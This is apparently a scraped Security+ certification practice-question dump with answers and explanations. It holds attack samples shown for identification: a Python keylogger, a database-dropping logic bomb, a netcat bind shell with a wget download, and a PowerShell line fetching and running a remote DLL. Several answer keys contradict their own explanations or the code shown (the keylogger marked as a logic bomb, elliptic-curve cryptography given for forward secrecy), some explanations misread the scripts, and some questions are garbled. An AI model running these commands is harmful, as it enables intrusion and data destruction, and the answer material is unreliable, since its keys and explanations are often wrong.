Deploying DLP tools is not the best way to safeguard the information, because it is a technique that monitors and prevents data exfiltration or transfer to

unauthorized destinations or users. DLP tools do not remove or encrypt PII from data sets, and they may not be sufficient to protect PHI records from internal misuse or negligence.

Installing a FIM on the application server is not the best way to safeguard the information, because it is a technique that detects and alerts changes to files or directories on a system. FIM does not remove or encrypt PII from data sets, and it may not prevent unauthorized access or modification of PHI records.

NEW QUESTION 90

- (Exam Topic 2)

A major manufacturing company updated its internal infrastructure and just started to allow OAuth application to access corporate data Data leakage is being reported Which of following most likely caused the issue?

- A. Privilege creep
- B. Unmodified default
- C. TLS
- D. Improper patch management

Answer: A

Explanation:

Privilege creep is the gradual accumulation of access rights beyond what an individual needs to do his or her job. In information technology, a privilege is an identified right that a particular end user has to a particular system resource, such as a file folder or virtual machine. Privilege creep often occurs when an employee changes job responsibilities within an organization and is granted new privileges. While employees may need to retain their former privileges during a period of transition, those privileges are rarely revoked and result in an unnecessary accumulation of access privileges. Privilege creep creates a security risk by increasing the attack surface and exposing sensitive data or systems to unauthorized or malicious users.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.techtarget.com/searchsecurity/definition/privilege-creep>

NEW QUESTION 92

- (Exam Topic 2)

Given the following snippet of Python code:

Which of the following types of malware MOST likely contains this snippet?

```
#!/usr/bin/env python3
import logging
from pynput.keyboard import Key, Listener
logging.basicConfig(filename="output.txt", level=logging.DEBUG, format="%(asctime)s - %(message)s")
def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener :
    listener.join()
```

- A. Logic bomb
- B. Keylogger
- C. Backdoor
- D. Ransomware

Answer: A

Explanation:

A logic bomb is a type of malware that executes malicious code when certain conditions are met. A logic bomb can be triggered by various events, such as a specific date or time, a user action, a system configuration change, or a command from an attacker. A logic bomb can perform various malicious actions, such as deleting files, encrypting data, displaying messages, or launching other malware.

The snippet of Python code shows a logic bomb that executes a function called `delete_all_files()` when the current date is December 25th. The code uses the `datetime` module to get the current date and compare it with a predefined date object. If the condition is true, the code calls the `delete_all_files()` function, which presumably deletes all files on the system.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.kaspersky.com/resource-center/definitions/logic-bomb>

NEW QUESTION 97

- (Exam Topic 2)

Which of the following is a solution that can be used to stop a disgruntled employee from copying confidential data to a USB drive?

- A. DLP
- B. TLS
- C. AV
- D. IDS

Answer: A

Explanation:

DLP stands for data loss prevention, which is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help mitigate the risk of data exfiltration by disgruntled employees or external attackers by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, transfer, or upload sensitive data to a USB drive or other removable media based on predefined policies and rules.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.microsoft.com/en-us/security/business/security-101/what-is-data-loss-prevention-dlp>

NEW QUESTION 102

- (Exam Topic 2)

An organization needs to implement more stringent controls over administrator/root credentials and service accounts. Requirements for the project include:

- * Check-in/checkout of credentials
- * The ability to use but not know the password
- * Automated password changes
- * Logging of access to credentials

Which of the following solutions would meet the requirements?

- A. OAuth 2.0
- B. Secure Enclave
- C. A privileged access management system
- D. An OpenID Connect authentication system

Answer: C

Explanation:

A privileged access management (PAM) system is a solution that helps protect organizations against cyberthreats by monitoring, detecting, and preventing unauthorized privileged access to critical resources¹². A PAM system can meet the requirements of the project by providing features such as:

- Check-in/checkout of credentials: A PAM system can store and manage privileged credentials in a secure vault, and allow authorized users to check out credentials when needed and check them back in when done. This reduces the risk of credential theft, misuse, or sharing^{2g3}.
- The ability to use but not know the password: A PAM system can enable users to access privileged accounts or resources without revealing the actual password, using methods such as password injection, session proxy, or single sign-on²³. This prevents users from copying, changing, or sharing password^{2s}.
- Automated password changes: A PAM system can automatically rotate and update passwords for privileged accounts according to predefined policies, such as frequency, complexity, and uniqueness²³. This ensures that passwords are always strong and unpredictable, and reduces the risk of password reuse or compromise².
- Logging of access to credentials: A PAM system can record and audit all activities related to privileged access, such as who accessed what credentials, when, why, and what they did with them²³. This provides visibility and accountability for privileged access, and enables detection and investigation of anomalies or incidents².

A PAM system is different from OAuth 2.0, which is an authorization framework that enables third-party applications to obtain limited access to an HTTP service on behalf of a resource owner⁴. OAuth 2.0 does not provide the same level of control and security over privileged access as a PAM system does.

A PAM system is also different from a secure enclave, which is a hardware-based security feature that creates an isolated execution environment within a processor to protect sensitive data from unauthorized access or modification⁵. A secure enclave does not provide the same functionality as a PAM system for managing privileged credentials and access.

A PAM system is also different from an OpenID Connect authentication system, which is an identity layer on top of OAuth 2.0 that enables users to verify their identity across multiple websites using a single login⁶. OpenID Connect does not provide the same scope and granularity as a PAM system for controlling and monitoring privileged access.

NEW QUESTION 104

- (Exam Topic 2)

Multiple beaconing activities to a malicious domain have been observed. The malicious domain is hosting malware from various endpoints on the network. Which of the following technologies would be best to correlate the activities between the different endpoints?

- A. Firewall
- B. SIEM
- C. IPS
- D. Protocol analyzer

Answer: B

Explanation:

SIEM stands for Security Information and Event Management, which is a technology that collects, analyzes, and correlates data from multiple sources, such as firewall logs, IDS/IPS alerts, network devices, applications, and endpoints. SIEM provides real-time monitoring and alerting of security events, as well as historical analysis and reporting for compliance and forensic purposes.

A SIEM technology would be best to correlate the activities between the different endpoints that are beaconing to a malicious domain. A SIEM can detect the malicious domain by comparing it with threat intelligence feeds or known indicators of compromise (IOCs). A SIEM can also identify the endpoints that are communicating with the malicious domain by analyzing the firewall logs and other network traffic data. A SIEM can alert the security team of the potential compromise and provide them with relevant information for investigation and remediation.

NEW QUESTION 109

- (Exam Topic 2)

A security administrator needs to block a TCP connection using the corporate firewall. Because this connection is potentially a threat, the administrator not want to back an RST Which of the following actions in rule would work best?

- A. Drop
- B. Reject
- C. Log alert
- D. Permit

Answer: A

Explanation:

the difference between drop and reject in firewall is that the drop target sends nothing to the source, while the reject target sends a reject response to the source. This can affect how the source handles the connection attempt and how fast the port scanning is. In this context, a human might say that the best action to block a TCP connection using the corporate firewall is A. Drop, because it does not send back an RST packet and it may slow down the port scanning and protect against DoS attacks.

NEW QUESTION 113

- (Exam Topic 2)

An attacker is targeting a company. The attacker notices that the company’s employees frequently access a particular website. The attacker decides to infect the website with malware and hopes the employees’ devices will also become infected. Which of the following techniques is the attacker using?

A. Watering-hole attack
B. Pretexting
C. Typosquatting
D. Impersonation

Answer: A

Explanation:

a watering hole attack is a form of cyberattack that targets a specific group of users by infecting websites that they commonly visit¹²³. The attacker seeks to compromise the user’s computer and gain access to the network at the user’s workplace or personal data¹²³. The attacker observes the websites often visited by the victim or the group and infects those sites with malware¹⁴. The attacker may also lure the user to a malicious 4site. A watering hole attack is difficult to diagnose and poses a significant threat to websites and users² .

NEW QUESTION 117

- (Exam Topic 2)

An incident has occurred in the production environment.
Analyze the command outputs and identify the type of compromise.

Command output 1

Command output 2

```
$ cat /var/log/www/file.sh
#!/bin/bash

user=$(grep john /etc/passwd)
if [ $user = "" ]; then
  mysql -u root -p mys3cr3tdbpm -e "drop database production"
fi

$ crontab -l
*/5 * * * * /var/log/www/file.sh
```

Compromise Type 1

☐ RAT

☐ Backdoor

☐ Logic bomb

☐ SQL injection

☐ Rootkit

Command output 1

Command output 2

```
$ cat /var/log/www/file.sh
#!/bin/bash

date=$(date +%Y-%m-%y)

echo "type in your full name: "
read loggedInName
nc -l -p 31337 -e /bin/bash
wget www.eicar.org/download/eicar.com.txt
echo "Hello, $loggedInName the virus file has been downloaded"
```

Compromise Type 2

☐ SQL injection

☐ RAT

☐ Rootkit

☐ Backdoor

☐ Logic bomb

A. Mastered

B. Not Mastered

Answer: A

Explanation:

Command Output1 = Logic Bomb

A logic bomb is a type of malicious code that executes when certain conditions are met, such as a specific date or time, or a specific user action¹. In this case, the logic bomb is a script that runs every minute and checks if there is a user named john in the /etc/passwd file. If there is, it drops the production database using a MySQL command³. This could cause severe damage to the system and the data.

To prevent logic bombs, you should use antivirus software that can detect and remove malicious code, and also perform regular backups of your data. You should also avoid opening suspicious attachments or links from unknown sources, and use strong passwords for your accounts¹.

Command Output2 = backdoorA backdoor is a type of malicious code that allows an attacker to access a system or network remotely, bypassing security measures¹. In this case, the backdoor is a script that runs every time the date command is executed and prompts the user to enter their full name. Then, it opens a reverse shell connection using the nc command and downloads a virus file from a malicious website using the wget command². This could allow the attacker to execute commands on the system and infect it with malware.

To prevent backdoors, you should use antivirus software that can detect and remove malicious code, and also update your system and applications regularly. You should also avoid executing unknown commands or scripts from untrusted sources, and use firewall rules to block unauthorized connections

NEW QUESTION 120

- (Exam Topic 2)

A network administrator needs to determine the sequence of a server farm's logs. Which of the following should the administrator consider? (Select TWO).

- A. Chain of custody
- B. Tags
- C. Reports
- D. Time stamps
- E. Hash values
- F. Time offset

Answer: DF

Explanation:

A server farm's logs are records of events that occur on a group of servers that provide the same service or function. Logs can contain information such as date, time, source, destination, message, error code, and severity level. Logs can help administrators monitor the performance, security, and availability of the servers and troubleshoot any issues.

To determine the sequence of a server farm's logs, the administrator should consider the following factors:

➤ Time stamps: Time stamps are indicators of when an event occurred on a server. Time stamps can help administrators sort and correlate events across different servers based on chronological order. However, time stamps alone may not be sufficient to determine the sequence of events if the servers have different time zones or clock settings.

➤ Time offset: Time offset is the difference between the local time of a server and a reference time, such as Coordinated Universal Time (UTC) or Greenwich Mean Time (GMT). Time offset can help administrators adjust and synchronize the time stamps of different servers to a common reference time and eliminate any discrepancies caused by time zones or clock settings.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://docs.microsoft.com/en-us/windows-server/administration/server-manager/view-event-logs>

NEW QUESTION 121

- (Exam Topic 2)

A digital forensics team at a large company is investigating a case in which malicious code was downloaded over an HTTPS connection and was running in memory, but was never committed to disk. Which of the following techniques should the team use to obtain a sample of the malware binary?

- A. pcap reassembly
- B. SSD snapshot
- C. Image volatile memory
- D. Extract from checksums

Answer: C

Explanation:

The best technique for the digital forensics team to use to obtain a sample of the malware binary is to image volatile memory. Volatile memory imaging is a process of collecting a snapshot of the contents of a computer's RAM, which can include active malware programs. According to the CompTIA Security+ SY0-601 Official Text Book, volatile memory imaging can be used to capture active malware programs that are running in memory, but have not yet been committed to disk. This technique is especially useful in cases where the malware is designed to self-destruct or erase itself from the disk after execution.

NEW QUESTION 123

- (Exam Topic 2)

A company policy requires third-party suppliers to self-report data breaches within a specific time frame. Which of the following third-party risk management policies is the company complying with?

- A. MOU
- B. SLA
- C. EOL
- D. NDA

Answer: B

Explanation:

An SLA or service level agreement is a type of third-party risk management policy that defines the expectations and obligations between a service provider and a customer. An SLA typically includes metrics and standards for measuring the quality and performance of the service, as well as penalties or remedies for non-

compliance. An SLA can also specify the reporting requirements for data breaches or other incidents that may affect the customer's security or privacy.

NEW QUESTION 128

- (Exam Topic 2)

A Chief Information Security Officer (CISO) wants to implement a new solution that can protect against certain categories of websites, whether the employee is in the office or away. Which of the following solutions should the CISO implement?

- A. VAF
- B. SWG
- C. VPN
- D. WDS

Answer: B

Explanation:

A secure web gateway (SWG) is a solution that can filter and block malicious or inappropriate web traffic based on predefined policies. It can protect users from web-based threats, such as malware, phishing, or ransomware, whether they are in the office or away. An SWG can be deployed as a hardware appliance, a software application, or a cloud service. References: <https://www.comptia.org/content/guides/what-is-a-secure-web-gateway>

NEW QUESTION 133

- (Exam Topic 2)

A penetration tester was able to compromise a host using previously captured network traffic. Which of the following is the result of this action?

- A. Integer overflow
- B. Race condition
- C. Memory leak
- D. Replay attack

Answer: D

Explanation:

A replay attack is a form of network attack in which valid data transmission is maliciously or fraudulently repeated or delayed¹². This can allow an attacker to compromise a host by resending a previously captured message, such as a password or a session token, that looks legitimate to the receiver¹. A replay attack can be prevented by using methods such as random session keys, timestamps, or one-time passwords that expire after use¹². A replay attack is different from an integer overflow, which is a type of software vulnerability that occurs when an arithmetic operation attempts to create a numeric value that is too large to be represented within the available storage space³. A race condition is another type of software vulnerability that occurs when multiple processes access and manipulate the same data concurrently, and the outcome depends on the order of execution³. A memory leak is a type of software defect that occurs when a program fails to release memory that is no longer needed, causing the program to consume more memory than necessary and potentially affecting the performance or stability of the system³.

NEW QUESTION 134

- (Exam Topic 2)

A data center has experienced an increase in under-voltage events during electrical grid maintenance outside the facility. These events are leading to occasional losses of system availability. Which of the following would be the most cost-effective solution for the data center to implement?

- A. Uninterruptible power supplies with battery backup
- B. Managed power distribution units to track these events
- C. A generator to ensure consistent, normalized power delivery
- D. Dual power supplies to distribute the load more evenly

Answer: A

Explanation:

Uninterruptible power supplies with battery backup would be the most cost-effective solution for the data center to implement to prevent under-voltage events during electrical grid maintenance outside the facility. An uninterruptible power supply (UPS) is a device that provides emergency power to a load when the main power source fails or drops below an acceptable level. A UPS with battery backup can help prevent under-voltage events by switching to battery power when it detects a voltage drop or outage in the main power source. A UPS with battery backup can also protect the data center equipment from power surges or spikes. References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.apc.com/us/en/faqs/FA158852/>

NEW QUESTION 138

- (Exam Topic 2)

A security administrator would like to ensure all cloud servers will have software preinstalled for facilitating vulnerability scanning and continuous monitoring. Which of the following concepts should the administrator utilize?

- A. Provisioning
- B. Staging
- C. Development
- D. Quality assurance

Answer: A

Explanation:

Provisioning is the process of creating and setting up IT infrastructure, and includes the steps required to manage user and system access to various resources. Provisioning can be done for servers, cloud environments, users, networks, services, and more.

In this case, the security administrator wants to ensure that all cloud servers will have software preinstalled for facilitating vulnerability scanning and continuous monitoring. This means that the administrator needs to provision the cloud servers with the necessary software and configuration before they are deployed or used by customers or end users. Provisioning can help automate and standardize the process of setting up cloud servers and reduce the risk of human errors or

inconsistencies.

NEW QUESTION 140

- (Exam Topic 2)

A security administrator is integrating several segments onto a single network. One of the segments, which includes legacy devices, presents a significant amount of risk to the network.

Which of the following would allow users to access to the legacy devices without compromising the security of the entire network?

- A. NIDS
- B. MAC filtering
- C. Jump server
- D. IPSec
- E. NAT gateway

Answer: C

Explanation:

A jump server is a device that acts as an intermediary between users and other devices on a network. A jump server can provide a secure and controlled access point to the legacy devices without exposing them directly to the network. A jump server can also enforce authentication, authorization, logging, and auditing policies.

NEW QUESTION 144

- (Exam Topic 2)

Which of the following security design features can an development team to analyze the deletion eoting Of data sets the copy?

- A. Stored procedures
- B. Code reuse
- C. Version control
- D. Continunus

Answer: C

Explanation:

Version control is a solution that can help a development team to analyze the deletion or editing of data sets without affecting the original copy. Version control is a system that records changes to a file or set of files over time so that specific versions can be recalled later. Version control can help developers track and manage changes to code, data, or documents, as well as collaborate with other developers and resolve conflicts.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.atlassian.com/git/tutorials/what-is-version-control>

NEW QUESTION 146

- (Exam Topic 2)

Which of the following should be addressed first on security devices before connecting to the network?

- A. Open permissions
- B. Default settings
- C. API integration configuration
- D. Weak encryption

Answer: B

Explanation:

Before connecting security devices to the network, it is crucial to address default settings first. Manufacturers often ship devices with default settings that include default usernames, passwords, and configurations. These settings are widely known and can be easily exploited by attackers. Changing default settings helps to secure the device and prevent unauthorized access. Reference: CompTIA Security+ SY0-501 Exam Objectives, Section 3.2: "Given a scenario, implement secure systems design." (<https://www.comptia.jp/pdf/Security%2B%20SY0-501%20Exam%20Objectives.pdf>)

NEW QUESTION 149

- (Exam Topic 2)

An analyst is working on an investigation with multiple alerts for multiple hosts. The hosts are showing signs of being compromised by a fast-spreading worm.

Which of the following should be the next step in order to stop the spread?

- A. Disconnect every host from the network.
- B. Run an AV scan on the entire
- C. Scan the hosts that show signs of
- D. Place all known-infected hosts on an isolated network

Answer: D

Explanation:

Placing all known-infected hosts on an isolated network is the best way to stop the spread of a worm infection. This will prevent the worm from reaching other hosts on the network and allow the infected hosts to be cleaned and restored. Disconnecting every host from the network is not practical and may disrupt business operations. Running an AV scan on the entire network or scanning the hosts that show signs of infection may not be effective or fast enough to stop a fast-spreading worm.

NEW QUESTION 154

- (Exam Topic 2)

A company recently completed the transition from data centers to the cloud. Which of the following solutions will best enable the company to detect security threats in applications that run in isolated environments within the cloud environment?

- A. Security groups
- B. Container security
- C. Virtual networks
- D. Segmentation

Answer: B

Explanation:

Container security is a solution that can enable the company to detect security threats in applications that run in isolated environments within the cloud environment. Containers are units of software that package code and dependencies together, allowing applications to run quickly and reliably across different computing environments. Container security involves securing the container images, the container runtime, and the container orchestration platforms. Container security can help prevent unauthorized access, data breaches, malware infections, or denial-of-service attacks on the applications running in containers.

References: 1

CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3 : Summarize secure application development, deployment, and automation concepts 2

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3

<https://www.comptia.org/blog/what-is-container-security>

NEW QUESTION 157

- (Exam Topic 2)

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the file does and finds that executes the following script:

```
C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg
```

```
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
```

Which of the following BEST describes what the analyst found?

- A. A Powershell code is performing a DLL injection.
- B. A PowerShell code is displaying a picture.
- C. A PowerShell code is configuring environmental variables.
- D. A PowerShell code is changing Windows Update settings.

Answer: A

Explanation:

According to GitHub user JSGetty196's notes¹, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.

<https://www.comptia.org/training/books/security-sy0-601-study-guide>

NEW QUESTION 158

- (Exam Topic 2)

While reviewing the /etc/shadow file, a security administrator notices files with the same values. Which of the following attacks should the administrator be concerned about?

- A. Plaintext
- B. Birthdat
- C. Brute-force
- D. Rainbow table

Answer: D

Explanation:

Rainbow table is a type of attack that should concern a security administrator when reviewing the /etc/shadow file. The /etc/shadow file is a file that stores encrypted passwords of users in a Linux system. A rainbow table is a precomputed table of hashes and their corresponding plaintext values that can be used to crack hashed passwords. If an attacker obtains a copy of the /etc/shadow file, they can use a rainbow table to find the plaintext passwords of users.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>

<https://www.geeksforgeeks.org/rainbow-table-in-cryptography/>

NEW QUESTION 162

- (Exam Topic 2)

A security administrator is using UDP port 514 to send a syslog through an unsecure network to the SIEM server. Which of the following is the best way for the administrator to improve the process?

- A. Change the protocol to TCP.
- B. Add LDAP authentication to the SIEM server.
- C. Use a VPN from the internal server to the SIEM and enable DLP.
- D. Add SSL/TLS encryption and use a TCP 6514 port to send logs.

Answer: D

Explanation:

SSL/TLS encryption is a method of securing the syslog traffic by using cryptographic protocols to encrypt and authenticate the data. SSL/TLS encryption can prevent eavesdropping, tampering, or spoofing of the syslog messages. TCP 6514 is the standard port for syslog over TLS, as defined by RFC 5425. Using this port can ensure compatibility and interoperability with other syslog implementations that support TLS.

NEW QUESTION 166

- (Exam Topic 2)

A security analyst is using OSINT to gather information to verify whether company data is available publicly. Which of the following is the BEST application for the analyst to use?

- A. theHarvester
B. Nmap
C. Nessus

Answer: A

Explanation:

TheHarvester is a reconnaissance tool that is used to gather information about a target organization, such as email addresses, subdomains, and IP addresses. It can also be used to gather information about a target individual, such as email addresses, phone numbers, and social media profiles. TheHarvester is specifically designed for OSINT (Open-Source Intelligence) and it can be used to discover publicly available information about a target organization or individual.

NEW QUESTION 171

- (Exam Topic 2)

A user is trying unsuccessfully to send images via SMS. The user downloaded the images from a corporate email account on a work phone. Which of the following policies is preventing the user from completing this action?

- A. Application management
B. Content management
C. Containerization
D. Full disk encryption

Answer: B

Explanation:

Content management is a policy that controls what types of data can be accessed, modified, shared, or transferred by users or applications. Content management can prevent data leakage or exfiltration by blocking or restricting certain actions, such as copying, printing, emailing, or sending data via SMS. If the user downloaded the images from a corporate email account on a work phone, the content management policy may prevent the user from sending the images via SMS to protect the confidentiality and integrity of the data.

References: 1

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and

Design, Objective 2.4: Explain the importance of embedded and specialized systems security 2

CompTIA Security+ Certification Exam Objectives, page 12, Domain 3.0: Implementation, Objective 3.1: Implement secure network architecture concepts 3

<https://www.comptia.org/blog/what-is-data-loss-prevention>

NEW QUESTION 175

- (Exam Topic 2)

Which of the following describes where an attacker can purchase DDoS or ransomware services?

- A. Threat intelligence
B. Open-source intelligence
C. Vulnerability database
D. Dark web

Answer: D

Explanation:

The best option to describe where an attacker can purchase DDoS or ransomware services is the dark web. The dark web is an anonymous, untraceable part of the internet where a variety of illicit activities take place, including the purchase of DDoS and ransomware services. According to the CompTIA Security+ SY0-601 Official Text Book, attackers can purchase these services anonymously and without the risk of detection or attribution. Additionally, the text book recommends that organizations monitor the dark web to detect any possible threats or malicious activity.

NEW QUESTION 177

- (Exam Topic 2)

The management team has requested that the security team implement 802.1X into the existing wireless network setup. The following requirements must be met:

- Minimal interruption to the end user
- Mutual certificate validation

Which of the following authentication protocols would meet these requirements?

- A. EAP-FAST
B. PSK
C. EAP-TTLS
D. EAP-TLS

Answer: D

Explanation:

EAP-TLS (Extensible Authentication Protocol - Transport Layer Security) is an authentication protocol that uses certificates to provide mutual authentication between the client and the authentication server. It also allows for the encryption of user credentials, making EAP-TLS a secure and reliable authentication protocol. According to the CompTIA Security+ SY0-601 Official Text Book, EAP-TLS is well-suited for wireless networks due to its mutual authentication capabilities and its ability to securely store credentials. It is also the preferred authentication protocol for 802.1X wireless networks.

NEW QUESTION 182

- (Exam Topic 1)

A company has discovered unauthorized devices are using its WiFi network, and it wants to harden the access point to improve security. Which of the following configuration should an analysis enable To improve security? (Select TWO.)

- A. RADIUS

- B. PEAP
- C. WPS
- D. WEP-EKIP
- E. SSL
- F. WPA2-PSK

Answer: AF

Explanation:

To improve the security of the WiFi network and prevent unauthorized devices from accessing the network, the configuration options of RADIUS and WPA2-PSK should be enabled. RADIUS (Remote Authentication Dial-In User Service) is an authentication protocol that can be used to control access to the WiFi network. It can provide stronger authentication and authorization than WEP and WPA. WPA2-PSK (WiFi Protected Access 2 with Pre-Shared Key) is a security protocol that uses stronger encryption than WEP and WPA. It requires a pre-shared key (PSK) to be entered on each device that wants to access the network. This helps prevent unauthorized devices from accessing the network.

NEW QUESTION 187

- (Exam Topic 1)

An enterprise needs to keep cryptographic keys in a safe manner. Which of the following network appliances can achieve this goal?

- A. HSM
- B. CASB
- C. TPM
- D. DLP

Answer: A

Explanation:

Hardware Security Module (HSM) is a network appliance designed to securely store cryptographic keys and perform cryptographic operations. HSMs provide a secure environment for key management and can be used to keep cryptographic keys safe from theft, loss, or unauthorized access. Therefore, an enterprise can achieve the goal of keeping cryptographic keys in a safe manner by using an HSM appliance. References: CompTIA Security+ Certification Exam Objectives, Exam Domain 2.0: Technologies and Tools, 2.4 Given a scenario, use appropriate tools and techniques to troubleshoot security issues, p. 21

NEW QUESTION 188

- (Exam Topic 1)

After a WiFi scan of a local office was conducted, an unknown wireless signal was identified. Upon investigation, an unknown Raspberry Pi device was found connected to an Ethernet port using a single connection. Which of the following BEST describes the purpose of this device?

- A. IoT sensor
- B. Evil twin
- C. Rogue access point
- D. On-path attack

Answer: C

Explanation:

A Raspberry Pi device connected to an Ethernet port could be configured as a rogue access point, allowing an attacker to intercept and analyze network traffic or perform other malicious activities. References: CompTIA Security+ SY0-601 Exam Objectives: 3.2 Given a scenario, implement secure network architecture concepts.

NEW QUESTION 192

- (Exam Topic 1)

The Chief Information Security Officer wants to pilot a new adaptive, user-based authentication method. The concept includes granting logical access based on physical location and proximity. Which of the following is the BEST solution for the pilot?

- A. Geofencing
- B. Self-sovereign identification
- C. PKI certificates
- D. SSO

Answer: A

Explanation:

Geofencing is a location-based technology that allows an organization to define and enforce logical access control policies based on physical location and proximity. Geofencing can be used to grant or restrict access to systems, data, or facilities based on an individual's location, and it can be integrated into a user's device or the infrastructure. This makes it a suitable solution for the pilot project to test the adaptive, user-based authentication method that includes granting logical access based on physical location and proximity.

Reference: CompTIA Security+ SY0-601 Official Text Book, Chapter 4: "Identity and Access Management".

NEW QUESTION 197

- (Exam Topic 1)

If a current private key is compromised, which of the following would ensure it cannot be used to decrypt all historical data?

- A. Perfect forward secrecy
- B. Elliptic-curve cryptography
- C. Key stretching
- D. Homomorphic encryption

Answer: B

Explanation:

Perfect forward secrecy would ensure that it cannot be used to decrypt all historical data. Perfect forward secrecy (PFS) is a security protocol that generates a unique session key for each session between two parties. This ensures that even if one session key is compromised, it cannot be used to decrypt other sessions.

NEW QUESTION 201

- (Exam Topic 1)

Which of the following controls would be the MOST cost-effective and time-efficient to deter intrusions at the perimeter of a restricted, remote military training area? (Select TWO).

- A. Barricades
- B. Thermal sensors
- C. Drones
- D. Signage
- E. Motion sensors
- F. Guards
- G. Bollards

Answer: AD

Explanation:

Barricades and signage are the most cost-effective and time-efficient controls to deter intrusions at the perimeter of a restricted, remote military training area.

References:

➤ [CompTIA Security+ Study Guide Exam SY0-601, Chapter 7](#)

NEW QUESTION 205

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 8

NEW QUESTION 210

- (Exam Topic 1)

A security incident has been resolved Which of the following BEST describes the importance of the final phase of the incident response plan?

- A. It examines and documents how well the team responded discovers what caused the incident, and determines how the incident can be avoided in the future
- B. It returns the affected systems back into production once systems have been fully patched, data restored and vulnerabilities addressed
- C. It identifies the incident and the scope of the breach how it affects the production environment, and the ingress point
- D. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach

Answer: A

Explanation:

The final phase of an incident response plan is the post-incident activity, which involves examining and documenting how well the team responded, discovering what caused the incident, and determining how the incident can be avoided in the future. References: CompTIA Security+ Certification Exam Objectives - 2.5 Given a scenario, analyze potential indicators to determine the type of attack. Study Guide: Chapter 5, page 225.

NEW QUESTION 214

- (Exam Topic 1)

As part of the building process for a web application, the compliance team requires that all PKI certificates are rotated annually and can only contain wildcards at the secondary subdomain level. Which of the following certificate properties will meet these requirements?

- A. HTTPS://.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022
- B. HTTPS://app1.comptia.org, Valid from April 10 00:00:00 2021-April 8 12:00:00 2022
- C. HTTPS:// app1.comptia.org, Valid from April 10 00:00:00 2021-April 8 12:00:00 2022
- D. HTTPS://.comptia.org, Valid from April 10 00:00:00 2021 - April 8 12:00:00

Answer: A

Explanation:

PKI certificates are digital certificates that use public key infrastructure (PKI) to verify the identity and authenticity of a sender and a receiver of data¹. PKI certificates can be used to secure web applications with HTTPS, which is a protocol that encrypts and protects the data transmitted over the internet¹. One of the properties of PKI certificates is the domain name, which is the name of the website or web application that the certificate is issued for². The domain name can be either a specific name, such as app1.comptia.org, or a wildcard name, such as *.comptia.org². A wildcard name means that the certificate can be used with multiple subdomains of a domain, such as payment.comptia.org or contact.comptia.org². Another property of PKI certificates is the validity period, which is the time span during which the certificate is valid and can be used³. The validity period is determined by the certificate authority (CA) that issues the certificate, and it usually ranges from one to three years³. The validity period can be checked by looking at the valid from and valid to dates on the certificate³.

Based on these properties, the certificate that will meet the requirements of rotating annually and only containing wildcards at the secondary subdomain level is A. [HTTPS://*.comptia.org](https://*.comptia.org), Valid from April 10 00:00:00 2021 - April 8 12:00:00 2022. This certificate has a wildcard character (*) at the secondary subdomain level, which means it can be used with any subdomain of comptia.org2. It also has a validity period of one year, which means it needs to be rotated annually3.

NEW QUESTION 218

- (Exam Topic 1)

A company recently decided to allow its employees to use their personally owned devices for tasks like checking email and messaging via mobile applications. The company would like to use MDM, but employees are concerned about the loss of personal data. Which of the following should the IT department implement to BEST protect the company against company data loss while still addressing the employees' concerns?

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen.
- B. Configure the MDM software to enforce the use of PINs to access the phone.
- C. Configure MDM for FDE without enabling the lock screen.
- D. Perform a factory reset on the phone before installing the company's applications.

Answer: C

Explanation:

MDM software is a type of remote asset-management software that runs from a central server. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets. It can monitor and regulate both corporate-owned and personally owned devices to the organization's policies.

FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage. FDE can protect data from unauthorized access in case the device is lost or stolen.

If a company decides to allow its employees to use their personally owned devices for work tasks, it should configure MDM software to enforce FDE on those devices. This way, the company can protect its data from being exposed if the device falls into the wrong hands.

However, employees may be concerned about the loss of personal data if the company also enables the remote-wiping option in the MDM software. Remote wiping is a feature that allows the company to erase all data on a device remotely in case of theft or loss. Remote wiping can also affect personal data on the device, which may not be acceptable to employees.

Therefore, a possible compromise is to configure MDM for FDE without enabling the lock screen. This means that the device will be encrypted, but it will not require a password or PIN to unlock it. This way, employees can access their personal data easily, while the company can still protect its data with encryption. The other options are not correct because:

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. Remote wiping can erase both work and personal data on the device, which may not be desirable for employees.
